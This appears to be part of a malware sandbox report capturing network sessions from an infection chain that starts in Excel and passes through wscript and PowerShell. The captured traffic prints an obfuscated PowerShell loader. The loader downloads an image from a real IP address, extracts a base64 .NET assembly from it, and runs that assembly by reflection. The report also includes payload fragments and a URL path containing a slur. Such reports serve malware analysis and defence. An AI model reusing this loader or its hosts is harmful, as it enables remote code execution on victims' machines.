Jul 3, 2024 18:03:35.841739893 CEST	1236	IN	Data Raw: 00 63 00 6f 00 63 00 6b 00 2f 00 66 00 69 00 6c 00 65 00 5f 00 6d 00 71 00 35 00 75 00 70 00 70 00 6e 00 61 00 2e 00 6c 00 64 00 74 00 2e 00 74 00 78 00 74 00 22 00 2c 00 20 00 46 00 61 00 6c 00 73 00 65 00 0d 00 0a 00 63 00 7a 00 78 00 52 00 4f Data Ascii: cock/file_mq5uppna.ldt.txt", FalseczxROuLhKUcGaeceoemKBNqekpLQBWOpAmiiZapCisbKQmLLLWnulWpzaGkfibnGCIWpLTdKmGzhPueAqlSKc
Jul 3, 2024 18:03:35.841749907 CEST	1236	IN	Data Raw: 00 4b 00 4c 00 4f 00 4c 00 69 00 52 00 74 00 57 00 66 00 5a 00 43 00 6d 00 55 00 63 00 57 00 4c 00 49 00 6e 00 63 00 57 00 51 00 69 00 70 00 4f 00 75 00 4c 00 6e 00 69 00 57 00 63 00 67 00 4b 00 4c 00 55 00 69 00 71 00 4c 00 64 00 41 00 73 00 4c Data Ascii: KLOLiRtWfZCmUcWLIncWQipOuLniWcgKLUiqLdAsLtSbKUifpfRiaPcehQZLGLKglRUaBkKloLpicaOGNfBZNOcC = CreateObject("WScript.Shell")
Jul 3, 2024 18:03:35.841761112 CEST	17	IN	Data Raw: 00 6f 00 74 00 68 00 69 00 6e 00 67 00 0d 00 0a 00 Data Ascii: othing

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49170	94.156.65.247	80	3264	C:\Windows\System32\wscript.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:03:39.119570971 CEST	212	OUT	GET /Users_API/negrocock/file_mq5uppna.ldt.txt HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: 94.156.65.247
Jul 3, 2024 18:03:39.758742094 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 16:03:39 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Wed, 03 Jul 2024 13:44:03 GMT ETag: "55d-61c5806010301" Accept-Ranges: bytes Content-Length: 1373 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: ef bb bf 28 28 27 59 30 75 6c 69 6e 6b 20 3d 20 78 52 27 2b 27 6d 68 74 74 70 3a 2f 2f 39 31 2e 39 32 2e 32 35 34 2e 31 39 34 2f 69 6d 67 65 2f 6e 65 77 2d 69 6d 61 67 65 5f 76 2e 6a 70 67 27 2b 27 78 52 6d 3b 20 59 30 75 77 65 62 43 27 2b 27 6c 69 65 6e 74 20 3d 20 4e 65 77 2d 4f 62 6a 65 63 74 20 53 79 73 74 65 6d 2e 4e 65 74 2e 57 65 62 43 6c 69 65 6e 74 3b 20 74 72 79 20 7b 20 59 30 75 64 6f 77 6e 6c 6f 27 2b 27 61 64 65 64 44 61 74 61 20 27 2b 27 3d 20 59 30 75 77 65 62 43 6c 69 65 6e 74 2e 44 6f 77 6e 6c 6f 61 64 44 27 2b 27 61 74 61 28 59 30 75 6c 69 6e 6b 29 20 7d 20 63 61 74 63 68 20 7b 20 57 72 69 74 65 2d 27 2b 27 48 6f 73 74 20 78 52 6d 46 61 69 6c 65 64 20 54 6f 20 64 6f 77 6e 6c 6f 61 64 20 64 61 74 61 20 66 72 6f 6d 20 59 30 75 6c 69 6e 6b 78 52 6d 20 2d 46 6f 72 65 67 72 6f 75 6e 64 43 27 2b 27 6f 6c 6f 72 20 52 65 64 3b 20 65 78 69 74 20 7d 3b 20 69 66 20 28 59 30 75 64 6f 77 6e 6c 6f 61 64 65 64 44 61 74 61 20 2d 6e 65 20 59 30 75 6e 75 6c 6c 29 20 7b 20 59 30 75 69 6d 61 27 2b 27 [TRUNCATED] Data Ascii: (('Y0ulink = xR'+'mhttp://91.92.254.194/imge/new-image_v.jpg'+'xRm; Y0uwebC'+'lient = New-Object System.Net.WebClient; try { Y0udownlo'+'adedData '+'= Y0uwebClient.DownloadD'+'ata(Y0ulink) } catch { Write-'+'Host xRmFailed To download data from Y0ulinkxRm -ForegroundC'+'olor Red; exit }; if (Y0udownloadedData -ne Y0unull) { Y0uima'+'geText = [System.T'+'ext'+'.Encoding'+']::UTF8.'+'GetString(Y0udownloadedData); Y0ustartFlag = xRm<<B'+'ASE64_START>>xRm; Y0uendFlag = xRm<<BASE64_EN'+'D>>xRm; Y0ustartIndex = Y0uimageText.IndexOf(Y0ustartFlag); Y0uendIn'+'dex = Y0uimageText.IndexOf(Y0uendFlag); if (Y0ustartIndex -ge '+'0'+' -and Y0uendInd'+'ex -gt Y0'+'ustartInde'+'x) { Y0ustartIndex += Y0ustartFlag.Length; Y0ubase64Lengt'+'h = Y0uendIndex - Y0ustartIndex; Y0ubase'+'64Command = Y0uimageText.Su'+'bstring(Y0ustartIndex, Y0ubase64Length); Y0ucommandBytes = [System.Convert]::FromBase64String(Y0ubase64Command); Y0uloa
Jul 3, 2024 18:03:39.758760929 CEST	448	IN	Data Raw: 64 65 64 41 73 73 65 6d 62 6c 79 20 3d 20 5b 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 27 2b 27 74 69 6f 6e 2e 41 73 73 65 6d 27 2b 27 62 6c 79 5d 3a 3a 4c 27 2b 27 6f 61 64 28 59 30 75 63 6f 6d 6d 61 6e 64 42 79 74 65 73 29 3b 20 59 30 75 74 79 70 Data Ascii: dedAssembly = [System.Reflec'+'tion.Assem'+'bly]::L'+'oad(Y0ucommandBytes); Y0utype = Y0uloadedAssembly.GetType(xRm'+'RunPE.Hom'+'exRm); Y0umethod = Y0utype'+'.GetMethod(xRmV'+'AIx'+'Rm).Invoke(Y0unull, [object[]] (xRmtxt.44'+'46sabbbbbbbewmad

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49171	91.92.254.194	80	3324	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:03:40.912023067 CEST	83	OUT	GET /imge/new-image_v.jpg HTTP/1.1 Host: 91.92.254.194 Connection: Keep-Alive
Jul 3, 2024 18:03:41.532833099 CEST	1236	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 16:03:41 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Wed, 03 Jul 2024 13:17:15 GMT ETag: "67fd9-61c57a629b9c6" Accept-Ranges: bytes Content-Length: 425945 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 d1 52 62 f0 15 72 82 92 e1 24 33 a2 b2 d2 f1 16 43 53 c2 08 34 63 17 25 35 36 73 93 e2 26 44 83 54 74 b3 c3 18 a3 d3 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#BRbr$3CS4c%56s&DTt?~5sRM9RWhco#4q7[B6v^Tgc"TY_xWeXBX50xFs,/Qcq2lyoT^=ofRGZ>(O5ceu;XG8s!u_.?,~XW!?$[8j=>gA>jz[WX)jO:q3n3VmmPo.TzccJAV9gp4;p7!vS~B]b#vo.%6i!?5<IOK~klm(=B,xGU5Pay'rErv^uYt70ur$UxA-OF9>uI^O^gy4Ap
Jul 3, 2024 18:03:41.532856941 CEST	1236	IN	Data Raw: 99 a5 de dc d9 e7 e1 ce 43 2e e2 4a 8e 39 fe 78 02 c9 15 df 24 ae de 08 e7 2c 17 69 24 8e 7b 60 55 94 81 c7 4c a8 bb e3 ae 15 ce e5 07 b6 50 29 ea 0d 60 10 48 c8 01 dc 6f b8 39 7f 3d ea fd 23 e0 3b e0 36 37 b7 d7 2c 8b 66 89 a0 d8 06 67 04 05 2b Data Ascii: C.J9x$,i${`ULP)`Ho9=#;67,fg+{NmXm2CS(+"]meHR87j(3N{d"a``QX;e0`Y8l`XLOn{eXadN(ma]pQrXpIJI:{
Jul 3, 2024 18:03:41.532869101 CEST	1236	IN	Data Raw: e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a 93 2c Data Ascii: p\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV1SGA13E0DoE~52>)X5OnFQMuQMVy#o\>5$0!\DYX`
Jul 3, 2024 18:03:41.532928944 CEST	1236	IN	Data Raw: 9b 1b 8e 59 08 20 77 ef 81 b5 2f 89 15 06 c9 2d 5c 6d c4 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 1b 1a Data Ascii: Y w/-\mTr7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+ED
Jul 3, 2024 18:03:41.532941103 CEST	896	IN	Data Raw: 80 2a 60 74 ef 64 8b 00 03 63 8e 98 1e 82 09 cb 79 72 9a da 0d d1 1c e0 55 27 3a a2 c1 88 8d 89 24 5f e9 81 f0 fd e8 19 a5 05 a4 6e 83 fc 39 a0 a4 35 58 1f 2b c0 4b 59 a2 d2 95 f3 59 5c 16 34 0a 11 c6 66 a4 fa 8d 1b 95 0c 5e 26 fe 12 6c 30 cd e7 Data Ascii: `tdcyrU':$_n95X+KYY\4f^&l08<KHSQ7Y3&S\p)3v'r:/>2HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF
Jul 3, 2024 18:03:41.612917900 CEST	1236	IN	Data Raw: 66 63 c8 f9 65 03 79 a4 21 b2 3a 71 db 03 2e c8 9c 24 7b 9a fa fc 06 07 ba 3a c5 79 3c b6 3b 59 7b 91 f8 be 58 b6 b4 02 37 6d e7 bf c7 25 cd 2d 06 2c 3f 17 06 b1 43 36 d6 28 cc d4 dc 82 47 4f ae 00 1d 03 03 e9 c0 ec 01 b6 ed e9 8e 05 3b 6a ab db Data Ascii: fcey!:q.${:y<;Y{X7m%-,?C6(GO;j\0U!BcG\|"y nGg. &C*Q^G#qQ$q"pH9`zjxW.VzHIG+V<GAFcqtMEgf`O>tA\o
Jul 3, 2024 18:03:41.612955093 CEST	1236	IN	Data Raw: b4 b7 5c 10 66 00 ed 41 c7 52 70 04 94 d3 2d 1d a4 b1 fe 43 3e e1 f6 47 4a fa 8f d9 77 85 42 8c 81 a6 f1 2d 44 44 c8 c1 7f 1e 9e 64 ee 47 f8 bf f7 e9 9f 0d 7b 0e 18 2f 3f a6 7d ab ec 46 a3 4e 9f b2 c8 75 5a e7 61 1c 3e 36 d2 46 b1 d1 26 a2 06 8f Data Ascii: \fARp-C>GJwB-DDdG{/?}FNuZa>6F&,5UjRG"*{w9?j_H}HO3z9IxoVBjlqQ8eILh,/g>o}+I~:$
Jul 3, 2024 18:03:41.612967014 CEST	1236	IN	Data Raw: cd 75 46 06 58 be fd 14 a5 18 f4 a8 82 d7 d6 b3 16 27 94 fd a0 d5 b0 1b a4 30 81 ea eb d1 70 32 cc c7 c6 4b 95 0a 46 a2 1b 1d ba 1c 0f 4b f6 cb c7 a2 d4 f8 bf 86 6b 22 13 2a ab 02 c8 c4 15 0a ac ad c5 73 d8 67 ae 97 ed 8e 88 23 21 d3 3b 29 17 b8 Data Ascii: uFX'0p2KFKk"*sg#!;)\|+MYe6]M}GBV)/n^X f{ U/Mv0nQ)R{dvhn C_oz>hqw>qJh,O]4(M3=$prNHs1ixp}
Jul 3, 2024 18:03:41.613054037 CEST	1236	IN	Data Raw: d4 1c 0f 4e 9f 69 74 e0 12 21 90 df 52 5b ae 43 f8 ee 9e 48 c0 30 c8 2f b8 6a 39 85 0c 04 8d bd 47 be 1a 5d 2b 42 02 b9 36 39 aa c0 d9 8b c5 b4 0e a5 3c 89 41 5f e2 26 f0 4d e2 30 ed 67 11 b5 76 e4 0f ae 66 42 db 45 91 57 c5 e1 9d 4a a8 25 41 07 Data Ascii: Nit!R[CH0/j9G]+B69<A_&M0gvfBEWJ%A(F ey{=^,<7Rg:)%Y14eJ<auz})TI"p=Fqp0kfpU\|/e>Oq};3FYmxa\|I'4J:B=
Jul 3, 2024 18:03:41.613152981 CEST	1236	IN	Data Raw: 38 af 86 30 db cb 14 2f 60 76 18 04 49 3c c5 52 b4 08 fc 40 fc f1 89 1b 69 da 2a ab af c7 12 89 1d 24 21 40 03 83 ce 16 42 e4 92 48 35 d8 60 43 fe 06 51 cd 9b 19 78 95 96 15 60 8a 2c d1 c9 82 64 8c 16 64 26 f0 ab 3c 0e de a4 60 09 ba be d8 02 fb Data Ascii: 80/`vI<R@i$!@BH5`CQx`,dd&<`iA<i;As-#@+4e8L04~s1v{5esq1ibdd0C,)(uhtmoT8PdH*rv#e)v;@Ish
Jul 3, 2024 18:03:41.613274097 CEST	1236	IN	Data Raw: 15 78 25 79 03 db 32 f4 11 eb 24 f1 a6 3a a9 e9 51 2f 62 31 0a 18 dd 0a ee 48 e4 e6 bc 8a ea db 55 0c 9c 85 36 68 55 e0 7c f3 ed 4a be 9b c4 d0 47 34 a5 5d 43 72 6a ba f1 9c 9a 8d 34 fa 38 fc e5 32 35 ed 0a 41 e0 9b 3d 47 3d b1 df b4 70 a6 a3 c7 Data Ascii: x%y2$:Q/b1HU6hU\|JG4]Crj4825A=G=pG/\|v>*M)phJeenBx}66Ov$EZX\:2A hCS!v\|kxD<Ct??wH?I?U/;I>A$Gsl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49172	198.46.178.144	80	3324	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:03:45.959034920 CEST	88	OUT	GET /madamwebbbbbbbas6444.txt HTTP/1.1 Host: 198.46.178.144 Connection: Keep-Alive
Jul 3, 2024 18:03:46.436088085 CEST	1236	IN	HTTP/1.1 200 OK Content-Type: text/plain Last-Modified: Tue, 02 Jul 2024 09:00:11 GMT Accept-Ranges: bytes ETag: "96b1143f5eccda1:0" Server: Microsoft-IIS/10.0 Date: Wed, 03 Jul 2024 16:03:46 GMT Content-Length: 325632 Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8DUAAAAMAwAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgCN4TesJWblN3ch9CPK0gPvZmbJR3c1JHdvwDIgoQD+kHdpJXdjV2cvwDIgACIK0gPzV2ZlxWa2lm
Jul 3, 2024 18:03:46.436116934 CEST	1236	IN	Data Raw: 63 51 52 57 5a 30 4e 58 5a 31 46 58 5a 79 39 43 50 67 41 43 49 67 41 43 49 4b 30 67 50 76 49 53 5a 7a 78 57 59 6d 4a 53 50 7a 4e 58 5a 6a 4e 57 51 70 56 48 49 69 49 58 5a 72 39 6d 64 75 6c 30 63 68 4a 53 50 73 56 6d 64 6c 78 47 49 73 56 6d 64 6c Data Ascii: cQRWZ0NXZ1FXZy9CPgACIgACIK0gPvISZzxWYmJSPzNXZjNWQpVHIiIXZr9mdul0chJSPsVmdlxGIsVmdlxkbvlGd1NWZ4VEZlR3clVXclJHPgACIgACIgAiCN4jIzYnLtNXY602bj1Cdm92cvJ3Yp1WLzFWblh2YzpjbyVnI9Mnbs1GegMXZnVGbpZXayBFZlR3clVXclJHPgACIgACIK0gP5RXayV3YlNHPgACIgoQD+IiM25
Jul 3, 2024 18:03:46.436130047 CEST	1236	IN	Data Raw: 41 77 41 41 4d 41 45 41 41 41 45 41 2b 41 41 41 41 76 42 67 5a 41 34 47 41 4a 42 51 5a 41 77 47 41 70 42 67 52 41 63 47 41 75 42 51 61 41 49 48 41 30 42 77 55 41 45 41 41 41 49 41 48 45 41 4c 41 41 41 41 41 41 41 41 41 75 42 77 62 41 6b 47 41 30 Data Ascii: AwAAMAEAAAEA+AAAAvBgZA4GAJBQZAwGApBgRAcGAuBQaAIHA0BwUAEAAAIAHEALAAAAAAAAAuBwbAkGA0BQYAwGAzBgbAEGAyBAVAAAAEAAJAAAAAAwbAYGAuBQSAUGAsBQaAYEAyBQYAYFABAAAAQEAAAAAAAAAAAAAAAAAAAQAAAAAEAAAAAAAAAwPAAAAAAQAAAAAAAAAAEAAAAQAAAg/vTQvAAAAAAwTAYEAOBQSA8FAOB
Jul 3, 2024 18:03:46.436187029 CEST	1236	IN	Data Raw: 45 46 30 52 43 4a 77 65 67 53 67 77 42 52 63 51 42 64 45 41 41 46 6f 51 64 52 45 41 41 46 67 51 42 64 30 67 41 41 59 41 43 46 30 42 44 43 41 67 42 49 55 51 48 4c 49 41 41 47 67 51 42 64 63 67 41 41 59 77 41 64 4d 51 48 59 48 59 45 44 63 51 43 63 Data Ascii: EF0RCJwegSgwBRcQBdEAAFoQdREAAFgQBd0gAAYACF0BDCAgBIUQHLIAAGgQBdcgAAYwAdMQHYHYEDcQCcwhDOMAAGESECEAIFgQIRQegSkQBdkQCgHoEIcAEIgQHSMwBGgQIRQegSgQBdggBHwACdIhAHUACRJRFDKxAHgACIUQHBMAIHgQUSUQHVMoEEcgC9LoEBCoERJRADAyCtLYERMYERMYEBMAIMUIgSAAAFkvgSYABKk
Jul 3, 2024 18:03:46.436199903 CEST	896	IN	Data Raw: 67 53 34 67 44 46 30 42 43 4f 67 41 43 49 67 67 44 49 6b 41 43 4f 45 78 42 59 30 6d 45 41 41 41 42 49 67 51 42 64 30 42 43 46 30 52 48 46 30 42 43 46 30 52 42 64 67 67 43 48 4d 42 43 46 30 52 43 49 51 77 42 48 67 51 42 64 30 52 43 46 30 42 47 49 Data Ascii: gS4gDF0BCOgACIggDIkACOExBY0mEAAABIgQBd0BCF0RHF0BCF0RBdggCHMBCF0RCIQwBHgQBd0RCF0BGIUQHHcQDIUQHJgBBHcAGBEAAEgQCIUQHkGYEF0BGYgRCH8ACIgQBdUQHF0hBHsACIgACIUQHGcQCIEgCDgACIgQBdUwBIgQBdUhgSUQHVIoEFcQDI4QFCKRBdUhgSUwBMggDVIoEF0RFCKRBd4wBH8ACVIoERHoEF0
Jul 3, 2024 18:03:46.436213017 CEST	1236	IN	Data Raw: 44 4f 6b 77 42 50 41 67 48 42 6f 41 42 63 34 51 41 67 51 41 43 74 4a 6f 45 43 63 67 42 31 34 6b 4e 74 61 46 4f 2f 47 44 43 4f 30 68 44 4f 49 41 41 47 51 6e 45 42 45 4f 67 52 55 78 42 49 51 6e 45 42 45 4f 67 52 55 42 64 53 4d 77 42 4d 51 6e 45 42 Data Ascii: DOkwBPAgHBoABc4QAgQACtJoECcgB14kNtaFO/GDCO0hDOIAAGQnEBEOgRUxBIQnEBEOgRUBdSMwBMQnEB0kEVYACI4QHAFoEO4QBdUQHAGoEOUQHF0BgBKhDO4AC4FoEYFoEF0hDOAUgSEQTSUxFH8CCtGoEBAiBIggDdAUgS4gDF0RBdAYgS4QBdUQHAGoEO4gDIgXgSUegS0XgS4QBd4AQBKRANJRFYcgMIknE5HoEtGoEOE
Jul 3, 2024 18:03:46.436460018 CEST	1236	IN	Data Raw: 56 43 47 52 46 4e 45 77 45 41 4d 68 41 56 4a 59 45 56 41 41 49 4c 77 51 67 53 45 51 54 53 55 68 44 43 30 6c 45 56 77 41 44 42 4b 52 41 4e 4a 52 46 4f 49 51 58 53 55 52 41 4b 34 41 43 4d 45 6f 45 42 45 4f 67 52 55 42 44 42 4b 52 41 4e 4a 52 46 4f Data Ascii: VCGRFNEwEAMhAVJYEVAAILwQgSEQTSUhDC0lEVwADBKRANJRFOIQXSURAK4ACMEoEBEOgRUBDBKRANJRFOIQVCGRFAFoEB0kEVwQgSwQgSEQTSUhDCEWEVwQgSEQTSUhDC0lEVwUgS4QBd4gDAFoEB0kEV0wBJhQBdgACF0BCFAiCIElgSEdgS0kgSgQBdUQHF0BCHMhATAAIE4gDOMQSCKRFB0kEVwgATEwEAMRADASCO4gDDk
Jul 3, 2024 18:03:46.436471939 CEST	1236	IN	Data Raw: 44 4f 30 42 43 4f 30 68 44 41 46 6f 45 42 30 6b 45 56 4d 78 42 6d 67 41 43 4f 30 42 43 4f 30 42 51 42 4b 68 44 4f 30 68 44 4f 30 68 44 41 46 6f 45 42 30 6b 45 56 77 77 42 61 67 41 43 4f 30 42 43 4f 30 68 44 64 34 67 44 4f 34 67 44 4f 34 51 48 4f Data Ascii: DO0BCO0hDAFoEB0kEVMxBmgACO0BCO0BQBKhDO0hDO0hDAFoEB0kEVwwBagACO0BCO0hDd4gDO4gDO4QHO4QHAFoEB0kEVAxBdggDVIoEOUQHRHoEVIoEF0hDJcwEI4ACCAQBI4ACO4ACO4gDJcwCO4gABHYEVcgDOIQvBKRFHgwAdMQHD0xAd4gDCEcgRUhDOIQXSUhDCEcgRUhDOAUgS4AUBKhDAFoEB0kEV4wBvQegSEQ4AG
Jul 3, 2024 18:03:46.436490059 CEST	1236	IN	Data Raw: 48 4f 49 41 41 46 67 77 41 42 41 43 42 49 67 51 42 64 55 41 43 4f 34 77 42 48 6f 41 43 44 30 78 41 64 67 67 44 64 55 51 48 4f 34 41 51 42 4b 68 44 64 34 77 43 48 51 42 43 41 46 6f 45 41 46 6f 45 42 30 6b 45 56 4d 77 42 4e 67 41 41 54 45 41 49 46 Data Ascii: HOIAAFgwABACBIgQBdUACO4wBHoACD0xAdggDdUQHO4AQBKhDd4wCHQBCAFoEAFoEB0kEVMwBNgAATEAIFAYgSEQTSUxBpHYEO0hDdIAIJ4gDlHoECAwBI4QHI4QHAFoEB0kEVAUgS4QBdUQHAGoE4FoEO4gDdgQBdggDO4gDdAUgSEQTSUhFHETBd4QACAiBI0dgSIwBGgACF0RBdMAIIUQHF0R0BKhAgkQ2BGRABAiBxFRABA
Jul 3, 2024 18:03:46.436505079 CEST	1236	IN	Data Raw: 67 53 67 52 2f 41 4b 52 49 52 30 50 67 53 67 42 48 49 67 42 47 49 67 52 49 52 77 42 43 4f 45 53 45 43 30 6c 45 56 67 42 43 59 67 51 57 53 67 41 43 70 46 6f 45 41 46 6f 45 42 30 6b 45 56 63 79 42 53 42 77 45 42 55 57 67 53 55 52 41 42 41 69 43 49 Data Ascii: gSgR/AKRIR0PgSgBHIgBGIgRIRwBCOESEC0lEVgBCYgQWSgACpFoEAFoEB0kEVcyBSBwEBUWgSURABAiCIFoEBEOgRUBCIFoEB0kEVcACIFoEBEOgRUBSBKBQBKRANJRFEcQFIwTgSIwBGgACCcABhFoEBEAIGwmEBoABIwmEsJBbSQwBJgAHC4ABHYACJEAAEgACBAABI4AGIgAGCUQHdIRCH0ACdIBCDcgBcEQAAQgAQwRACA
Jul 3, 2024 18:03:46.441257000 CEST	1236	IN	Data Raw: 45 47 51 41 50 43 47 68 42 45 67 6a 67 52 59 41 42 49 34 41 43 43 30 6c 45 56 45 41 41 4a 34 41 43 43 30 6c 45 56 34 41 43 43 30 6c 45 56 45 41 41 4f 34 67 44 43 30 6c 45 56 41 41 41 49 34 51 48 4f 67 66 67 52 49 41 41 49 67 42 46 43 47 52 41 41 Data Ascii: EGQAPCGhBEgjgRYABI4ACC0lEVEAAJ4ACC0lEV4ACC0lEVEAAO4gDC0lEVAAAI4QHOgfgRIAAIgBFCGRAAYgCQghACAgBYkAEJgBGCUAAJgRCJgRCJ4AGHAgCJkQCQIYEYgRBAoAFB4QCJwggRgBGYYAALkQHS4QCDAwBgIYECkAGQgBGYIwBA0QCCwhgRgxAAgACQgAGkIYEIIYEEAADIABCYghgRgBCCGRBA0AAAAQLEAAAAU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49173	208.95.112.1	80	3440	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 18:03:52.340533018 CEST	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jul 3, 2024 18:03:52.855227947 CEST	175	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 16:03:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false
Jul 3, 2024 18:03:53.064042091 CEST	175	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 16:03:52 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Target ID:	0
Start time:	12:02:34
Start date:	03/07/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13fe00000
File size:	28'253'536 bytes
